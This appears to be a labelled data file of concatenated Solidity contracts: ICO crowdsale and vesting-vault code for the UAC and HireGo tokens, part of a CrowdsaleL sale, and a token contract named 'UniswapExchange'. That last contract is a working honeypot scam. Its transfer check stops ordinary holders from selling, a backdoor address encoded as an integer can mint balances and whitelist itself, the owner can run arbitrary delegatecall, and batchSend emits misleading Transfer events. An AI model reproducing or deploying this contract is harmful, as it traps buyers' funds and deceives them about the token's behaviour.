function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
pragma solidity ^0.4.19;
contract UacToken is CanReclaimToken, MintableToken, PausableToken {
string public constant name = "Ubiatar Coin";
string public constant symbol = "UAC";
uint8 public constant decimals = 18;
function UacToken() public {
paused = true;
}
}
pragma solidity ^0.4.19;
contract UbiatarPlayVault {
using SafeMath for uint256;
using SafeERC20 for UacToken;
uint256[6] public vesting_offsets = [
90 days,
180 days,
270 days,
360 days,
540 days,
720 days
];
uint256[6] public vesting_amounts = [
2e6 * 1e18,
4e6 * 1e18,
6e6 * 1e18,
8e6 * 1e18,
10e6 * 1e18,
20.5e6 * 1e18
];
address public ubiatarPlayWallet;
UacToken public token;
uint256 public start;
uint256 public released;
function UbiatarPlayVault(
address _ubiatarPlayWallet,
address _token,
uint256 _start
)
public
{
ubiatarPlayWallet = _ubiatarPlayWallet;
token = UacToken(_token);
start = _start;
}
function release() public {
uint256 unreleased = releasableAmount();
require(unreleased > 0);
released = released.add(unreleased);
token.safeTransfer(ubiatarPlayWallet, unreleased);
}
function releasableAmount() public view returns (uint256) {
return vestedAmount().sub(released);
}
function vestedAmount() public view returns (uint256) {
uint256 vested = 0;
for (uint256 i = 0; i < vesting_offsets.length; i = i.add(1)) {
if (block.timestamp > start.add(vesting_offsets[i])) {
vested = vested.add(vesting_amounts[i]);
}
}
return vested;
}
}
pragma solidity ^0.4.17;
contract PresaleTokenVault {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
uint256 public constant VESTING_OFFSET = 90 days;
uint256 public constant VESTING_DURATION = 180 days;
uint256 public start;
uint256 public cliff;
uint256 public end;
ERC20Basic public token;
struct Investment {
address beneficiary;
uint256 totalBalance;
uint256 released;
}
Investment[] public investments;
mapping(address => uint256) public investorLUT;
function init(address[] beneficiaries, uint256[] balances, uint256 startTime, address _token) public {
require(token == address(0));
require(beneficiaries.length == balances.length);
start = startTime;
cliff = start.add(VESTING_OFFSET);
end = cliff.add(VESTING_DURATION);
token = ERC20Basic(_token);
for (uint256 i = 0; i < beneficiaries.length; i = i.add(1)) {
investorLUT[beneficiaries[i]] = investments.length;
investments.push(Investment(beneficiaries[i], balances[i], 0));
}
}
function release(address beneficiary) public {
uint256 unreleased = releasableAmount(beneficiary);
require(unreleased > 0);
uint256 investmentIndex = investorLUT[beneficiary];
investments[investmentIndex].released = investments[investmentIndex].released.add(unreleased);
token.safeTransfer(beneficiary, unreleased);
}
function release() public {
release(msg.sender);
}
function releasableAmount(address beneficiary) public view returns (uint256) {
uint256 investmentIndex = investorLUT[beneficiary];
return vestedAmount(beneficiary).sub(investments[investmentIndex].released);
}
function vestedAmount(address beneficiary) public view returns (uint256) {
uint256 investmentIndex = investorLUT[beneficiary];
uint256 vested = 0;
if (block.timestamp >= start) {
vested = investments[investmentIndex].totalBalance.div(3);
}
if (block.timestamp >= cliff && block.timestamp < end) {
uint256 p1 = investments[investmentIndex].totalBalance.div(3);
uint256 p2 = investments[investmentIndex].totalBalance;
uint256 d_token = p2.sub(p1);
uint256 time = block.timestamp.sub(cliff);
uint256 d_time = end.sub(cliff);
vested = vested.add(d_token.mul(time).div(d_time));
}
if (block.timestamp >= end) {
vested = investments[investmentIndex].totalBalance;
}
return vested;
}
}
pragma solidity ^0.4.19;
contract UacCrowdsale is CrowdsaleBase {
uint256 public constant START_TIME = 1525856400;
uint256 public constant END_TIME = 1528448400;
uint256 public constant PRESALE_VAULT_START = END_TIME + 7 days;
uint256 public constant PRESALE_CAP = 17584778551358900100698693;
uint256 public constant TOTAL_MAX_CAP = 15e6 * 1e18;
uint256 public constant CROWDSALE_CAP = 7.5e6 * 1e18;
uint256 public constant FOUNDERS_CAP = 12e6 * 1e18;
uint256 public constant UBIATARPLAY_CAP = 50.5e6 * 1e18;
uint256 public constant ADVISORS_CAP = 4915221448641099899301307;
uint256 public constant BONUS_TIER1 = 108;
uint256 public constant BONUS_TIER2 = 106;
uint256 public constant BONUS_TIER3 = 104;
uint256 public constant BONUS_DURATION_1 = 3 hours;
uint256 public constant BONUS_DURATION_2 = 12 hours;
uint256 public constant BONUS_DURATION_3 = 42 hours;
uint256 public constant FOUNDERS_VESTING_CLIFF = 1 years;
uint256 public constant FOUNDERS_VESTING_DURATION = 2 years;
Reservation public reservation;
PresaleTokenVault public presaleTokenVault;
TokenVesting public foundersVault;
UbiatarPlayVault public ubiatarPlayVault;
address public foundersWallet;
address public advisorsWallet;
address public ubiatarPlayWallet;
address public wallet;
UacToken public token;
bool public didOwnerEndCrowdsale;
function UacCrowdsale(
address _token,
address _reservation,
address _presaleTokenVault,
address _foundersWallet,
address _advisorsWallet,
address _ubiatarPlayWallet,
address _wallet,
address[] _kycSigners
)
public
CrowdsaleBase(START_TIME, END_TIME, TOTAL_MAX_CAP, _wallet, _kycSigners)
{
token = UacToken(_token);
reservation = Reservation(_reservation);
presaleTokenVault = PresaleTokenVault(_presaleTokenVault);
foundersWallet = _foundersWallet;
advisorsWallet = _advisorsWallet;
ubiatarPlayWallet = _ubiatarPlayWallet;
wallet = _wallet;
foundersVault = new TokenVesting(foundersWallet, END_TIME, FOUNDERS_VESTING_CLIFF, FOUNDERS_VESTING_DURATION, false);
ubiatarPlayVault = new UbiatarPlayVault(ubiatarPlayWallet, address(token), END_TIME);
}
function mintPreAllocatedTokens() public onlyOwner {
mintTokens(address(foundersVault), FOUNDERS_CAP);
mintTokens(advisorsWallet, ADVISORS_CAP);
mintTokens(address(ubiatarPlayVault), UBIATARPLAY_CAP);
}
function initPresaleTokenVault(address[] beneficiaries, uint256[] balances) public onlyOwner {
require(beneficiaries.length == balances.length);
presaleTokenVault.init(beneficiaries, balances, PRESALE_VAULT_START, token);
uint256 totalPresaleBalance = 0;
uint256 balancesLength = balances.length;
for(uint256 i = 0; i < balancesLength; i++) {
totalPresaleBalance = totalPresaleBalance.add(balances[i]);
}
mintTokens(presaleTokenVault, totalPresaleBalance);
}
function price() public view returns (uint256 _price) {
if (block.timestamp <= start.add(BONUS_DURATION_1)) {
return tokenPerEth.mul(BONUS_TIER1).div(1e2);
} else if (block.timestamp <= start.add(BONUS_DURATION_2)) {
return tokenPerEth.mul(BONUS_TIER2).div(1e2);
} else if (block.timestamp <= start.add(BONUS_DURATION_3)) {
return tokenPerEth.mul(BONUS_TIER3).div(1e2);
}
return tokenPerEth;
}
function mintReservationTokens(address to, uint256 amount) public {
require(msg.sender == address(reservation));
tokensSold = tokensSold.add(amount);
availableTokens = availableTokens.sub(amount);
mintTokens(to, amount);
}
function mintTokens(address to, uint256 amount) private {
token.mint(to, amount);
}
function closeCrowdsale() public onlyOwner {
require(block.timestamp >= START_TIME && block.timestamp < END_TIME);
didOwnerEndCrowdsale = true;
}
function finalise() public onlyOwner {
require(didOwnerEndCrowdsale || block.timestamp > end || capReached);
token.finishMinting();
token.unpause();
token.transferOwnership(owner);
}
}
pragma solidity ^0.4.19;
contract Reservation is CrowdsaleBase {
uint256 public constant START_TIME = 1525683600;
uint256 public constant END_TIME = 1525856400;
uint256 public constant RESERVATION_CAP = 7.5e6 * 1e18;
uint256 public constant BONUS = 110;
UacCrowdsale public crowdsale;
function Reservation(
address _wallet,
address[] _kycSigners
)
public
CrowdsaleBase(START_TIME, END_TIME, RESERVATION_CAP, _wallet, _kycSigners)
{
}
function setCrowdsale(address _crowdsale) public {
require(crowdsale == address(0));
crowdsale = UacCrowdsale(_crowdsale);
}
function price() public view returns (uint256) {
return tokenPerEth.mul(BONUS).div(1e2);
}
function mintTokens(address to, uint256 amount) private {
crowdsale.mintReservationTokens(to, amount);
}
} | 1 | 3,143 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,142 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract HireGoToken is MintableToken, BurnableToken {
string public constant name = "HireGo";
string public constant symbol = "HGO";
uint32 public constant decimals = 18;
function HireGoToken() public {
totalSupply = 100000000E18;
balances[owner] = totalSupply;
}
}
contract HireGoCrowdsale is Ownable {
using SafeMath for uint;
HireGoToken public token = new HireGoToken();
uint totalSupply = token.totalSupply();
bool public isRefundAllowed;
uint public presaleStartTime;
uint public presaleEndTime;
uint public icoStartTime;
uint public icoEndTime;
uint public totalWeiRaised;
uint internal weiRaised;
uint public hardCap;
uint public tokensDistributed;
uint public foundersTokensUnlockTime;
uint internal presaleBonus = 135;
uint public rate;
uint private icoMinPurchase;
address[] public investors_number;
address private wallet;
mapping (address => uint) public orderedTokens;
mapping (address => uint) contributors;
event FundsWithdrawn(address _who, uint256 _amount);
modifier hardCapNotReached() {
require(totalWeiRaised < hardCap);
_;
}
modifier crowdsaleEnded() {
require(now > icoEndTime);
_;
}
modifier foundersTokensUnlocked() {
require(now > foundersTokensUnlockTime);
_;
}
modifier crowdsaleInProgress() {
bool withinPeriod = ((now >= presaleStartTime && now <=presaleEndTime) || (now >= icoStartTime && now <= icoEndTime));
require(withinPeriod);
_;
}
function HireGoCrowdsale(uint _presaleStartTime, address _wallet) public {
require (
_presaleStartTime > now
);
presaleStartTime = _presaleStartTime;
presaleEndTime = presaleStartTime.add(4 weeks);
icoStartTime = presaleEndTime.add(1 minutes);
setIcoEndTime();
wallet = _wallet;
rate = 250 szabo;
hardCap = 15000 ether;
icoMinPurchase = 50 finney;
isRefundAllowed = false;
}
function setIcoEndTime() internal {
icoEndTime = icoStartTime.add(6 weeks);
foundersTokensUnlockTime = icoEndTime.add(180 days);
}
function() public payable {
buyTokens();
}
function buyTokens() public payable crowdsaleInProgress hardCapNotReached {
require(msg.value > 0);
calculatePurchaseAndBonuses(msg.sender, msg.value);
}
function getInvestorCount() public view returns (uint) {
return investors_number.length;
}
function toggleRefunds() public onlyOwner {
isRefundAllowed = !isRefundAllowed;
}
function sendOrderedTokens() public onlyOwner crowdsaleEnded {
address investor;
uint tokensCount;
for(uint i = 0; i < investors_number.length; i++) {
investor = investors_number[i];
tokensCount = orderedTokens[investor];
assert(tokensCount > 0);
orderedTokens[investor] = 0;
token.transfer(investor, tokensCount);
}
}
function refundInvestors() public onlyOwner {
require(now >= icoEndTime);
require(isRefundAllowed);
require(msg.sender.balance > 0);
address investor;
uint contributedWei;
uint tokens;
for(uint i = 0; i < investors_number.length; i++) {
investor = investors_number[i];
contributedWei = contributors[investor];
tokens = orderedTokens[investor];
if(contributedWei > 0) {
totalWeiRaised = totalWeiRaised.sub(contributedWei);
weiRaised = weiRaised.sub(contributedWei);
if(weiRaised<0){
weiRaised = 0;
}
contributors[investor] = 0;
orderedTokens[investor] = 0;
tokensDistributed = tokensDistributed.sub(tokens);
investor.transfer(contributedWei);
}
}
}
function withdraw() public onlyOwner {
uint to_send = weiRaised;
weiRaised = 0;
FundsWithdrawn(msg.sender, to_send);
wallet.transfer(to_send);
}
function burnUnsold() public onlyOwner crowdsaleEnded {
uint tokensLeft = totalSupply.sub(tokensDistributed);
token.burn(tokensLeft);
}
function finishIco() public onlyOwner {
icoEndTime = now;
foundersTokensUnlockTime = icoEndTime.add(180 days);
}
function finishPresale() public onlyOwner {
presaleEndTime = now;
}
function distributeForFoundersAndTeam() public onlyOwner foundersTokensUnlocked {
uint to_send = 25000000E18;
checkAndMint(to_send);
token.transfer(wallet, to_send);
}
function distributeForBountiesAndAdvisors() public onlyOwner {
uint to_send = 15000000E18;
checkAndMint(to_send);
token.transfer(wallet, to_send);
}
function updateIcoStartTime(uint _startTime) public onlyOwner {
require (
icoStartTime > now &&
_startTime > now &&
presaleEndTime < _startTime
);
icoStartTime = _startTime;
setIcoEndTime();
}
function updateHardCap(uint _newHardCap) public onlyOwner hardCapNotReached {
require (
_newHardCap < hardCap
);
hardCap = _newHardCap;
}
function transferOwnershipToken(address _to) public onlyOwner {
token.transferOwnership(_to);
}
function calculatePurchaseAndBonuses(address _beneficiary, uint _weiAmount) internal {
if (now >= icoStartTime && now < icoEndTime) require(_weiAmount >= icoMinPurchase);
uint cleanWei;
uint change;
uint _tokens;
if (_weiAmount.add(totalWeiRaised) > hardCap) {
cleanWei = hardCap.sub(totalWeiRaised);
change = _weiAmount.sub(cleanWei);
}
else cleanWei = _weiAmount;
assert(cleanWei > 4);
_tokens = cleanWei.div(rate).mul(1 ether);
if (contributors[_beneficiary] == 0) investors_number.push(_beneficiary);
_tokens = calculateBonus(_tokens);
checkAndMint(_tokens);
contributors[_beneficiary] = contributors[_beneficiary].add(cleanWei);
weiRaised = weiRaised.add(cleanWei);
totalWeiRaised = totalWeiRaised.add(cleanWei);
tokensDistributed = tokensDistributed.add(_tokens);
orderedTokens[_beneficiary] = orderedTokens[_beneficiary].add(_tokens);
if (change > 0) _beneficiary.transfer(change);
}
function calculateBonus(uint _baseAmount) internal returns (uint) {
require(_baseAmount > 0);
if (now >= presaleStartTime && now < presaleEndTime) {
return _baseAmount.mul(presaleBonus).div(100);
}
else return _baseAmount;
}
function checkAndMint(uint _amount) internal {
uint required = tokensDistributed.add(_amount);
if(required > totalSupply) token.mint(this, required.sub(totalSupply));
}
} | 1 | 3,419 |
pragma solidity ^0.4.18;
contract CrowdsaleL{
using SafeMath for uint256;
enum TokenSaleType {round1, round2}
enum Roles {beneficiary, accountant, manager, observer, bounty, team, company}
address constant TaxCollector = 0x0;
uint256[2] TaxValues = [0 finney, 0 finney];
uint8 vaultNum;
TokenL public token;
bool public isFinalized;
bool public isInitialized;
bool public isPausedCrowdsale;
address[7] public wallets = [
0x9a1Fc7173086412A10dE27A9d1d543af3AB68262,
0x9a1Fc7173086412A10dE27A9d1d543af3AB68262,
msg.sender,
0x8a91aC199440Da0B45B2E278f3fE616b1bCcC494,
0x9a1Fc7173086412A10dE27A9d1d543af3AB68262,
0x9a1Fc7173086412A10dE27A9d1d543af3AB68262,
0x9a1Fc7173086412A10dE27A9d1d543af3AB68262
];
struct Profit{
uint256 min;
uint256 max;
uint256 step;
uint256 maxAllProfit;
}
struct Bonus {
uint256 value;
uint256 procent;
uint256 freezeTime;
}
Bonus[] public bonuses;
Profit public profit = Profit(0, 20, 4, 50);
uint256 public startTime= 1518912000;
uint256 public endDiscountTime = 1521936000;
uint256 public endTime = 1522800000;
uint256 public rate = 18000000;
uint256 public softCap = 0 ether;
uint256 public hardCap = 19444 ether;
uint256 public overLimit = 20 ether;
uint256 public minPay = 10 finney;
uint256 public ethWeiRaised;
uint256 public nonEthWeiRaised;
uint256 public weiRound1;
uint256 public tokenReserved;
RefundVault public vault;
TokenSaleType TokenSale = TokenSaleType.round2;
uint256 public allToken;
bool public bounty;
bool public team;
bool public company;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Finalized();
event Initialized();
function CrowdsaleL(TokenL _token, uint256 firstMint) public
{
token = _token;
token.setOwner();
token.pause();
token.addUnpausedWallet(wallets[uint8(Roles.accountant)]);
token.addUnpausedWallet(msg.sender);
token.setFreezingManager(wallets[uint8(Roles.accountant)]);
bonuses.push(Bonus(11111 finney,30,60 days));
bonuses.push(Bonus(55556 finney,40,90 days));
bonuses.push(Bonus(111111 finney,50,180 days));
if (firstMint > 0) {
token.mint(msg.sender, firstMint);
}
}
function getTokenSaleType() public constant returns(string){
return (TokenSale == TokenSaleType.round1)?'round1':'round2';
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = (now > startTime && now < endTime);
bool nonZeroPurchase = msg.value >= minPay;
bool withinCap = msg.value <= hardCap.sub(weiRaised()).add(overLimit);
return withinPeriod && nonZeroPurchase && withinCap && isInitialized && !isPausedCrowdsale;
}
function hasEnded() public constant returns (bool) {
bool timeReached = now > endTime;
bool capReached = weiRaised() >= hardCap;
return (timeReached || capReached) && isInitialized;
}
function finalizeAll() external {
finalize();
finalize1();
finalize2();
finalize3();
}
function finalize() public {
require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender || !goalReached());
require(!isFinalized);
require(hasEnded());
isFinalized = true;
finalization();
Finalized();
}
function finalization() internal {
if (goalReached()) {
vault.close(wallets[uint8(Roles.beneficiary)]);
if (tokenReserved > 0) {
token.mint(wallets[uint8(Roles.accountant)],tokenReserved);
tokenReserved = 0;
}
if (TokenSale == TokenSaleType.round1) {
isInitialized = false;
isFinalized = false;
TokenSale = TokenSaleType.round2;
weiRound1 = weiRaised();
ethWeiRaised = 0;
nonEthWeiRaised = 0;
}
else
{
allToken = token.totalSupply();
bounty = true;
team = true;
company = true;
}
}
else
{
vault.enableRefunds();
}
}
function finalize1() public {
require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender);
require(team);
team = false;
token.mint(wallets[uint8(Roles.team)],allToken.mul(14).div(80));
}
function finalize2() public {
require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender);
require(bounty);
bounty = false;
token.mint(wallets[uint8(Roles.bounty)],allToken.mul(3).div(80));
}
function finalize3() public {
require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender);
require(company);
company = false;
token.mint(wallets[uint8(Roles.company)],allToken.mul(3).div(80));
}
function initialize() public {
require(wallets[uint8(Roles.manager)] == msg.sender);
require(!isInitialized);
require(now <= startTime);
initialization();
Initialized();
isInitialized = true;
}
function initialization() internal {
uint256 taxValue = TaxValues[vaultNum];
vaultNum++;
uint256 arrear;
if (address(vault) != 0x0){
arrear = DistributorRefundVault(vault).taxValue();
vault.del(wallets[uint8(Roles.beneficiary)]);
}
vault = new DistributorRefundVault(TaxCollector, taxValue.add(arrear));
}
function claimRefund() public{
vault.refund(msg.sender);
}
